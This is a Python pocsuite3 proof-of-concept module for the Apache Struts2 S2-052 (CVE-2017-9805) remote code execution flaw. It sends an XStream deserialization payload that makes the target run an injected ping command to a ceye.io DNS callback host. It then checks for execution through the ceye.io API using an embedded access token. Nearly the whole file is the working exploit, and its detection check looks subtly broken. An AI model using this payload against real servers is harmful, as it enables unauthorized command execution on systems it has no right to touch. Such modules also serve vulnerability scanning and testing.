#!/usr/bin/env python
# _*_ encoding：utf-8 _*_

from pocsuite3.api import POCBase
from pocsuite3.api import register_poc
from pocsuite3.api import Output
from collections import OrderedDict
from pocsuite3.api import OptString
from pocsuite3.api import requests
from pocsuite3.lib.utils import random_str

class Struts2(POCBase):
    vulID = ''
    version = '1.0'
    author = ['big04dream']
    vulDate = '2018-08-24'
    createDate = '2020-07-01'
    updateDate = '2020-07-01'
    references = ['']
    name = 'Apache Struts2 远程代码执行漏洞 (S2-052/CVE-2017-9805)'
    appPowerLink = 'https://struts.apache.org/'
    appName = 'Struts2'
    appVersion = 'Struts2.5 – Struts2.5.12'
    vulType = 'rce'
    desc = '''
    Apache Struts2 远程代码执行漏洞 (S2-052/CVE-2017-9805)
    '''

    def _verify(self):
        result = {}
        try:
            cmd = random_str(16) + '.6eb4yw.ceye.io'
            cmd2 = 'ping ' + cmd
            payload = '<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> %s' % cmd2
            payload += ' </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>'
            r = requests.post(self.url, data=payload, headers=self._headers)
            if r.status_code == 200 :
                res = requests.get('http://api.ceye.io/v1/records?token=2490ae17e5a04f03def427a596438995&type=dns')
                if cmd in res:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = self.url
                    result['VerifyInfo']['Payload'] = payload
        except:
            pass
        return self.parse_output(result)

    @property
    def _headers(self):
        headers = {
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0',
            'Content-Type': 'application/xml'
        }
        return headers

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('not vulnerability')
        return output

register_poc(Struts2)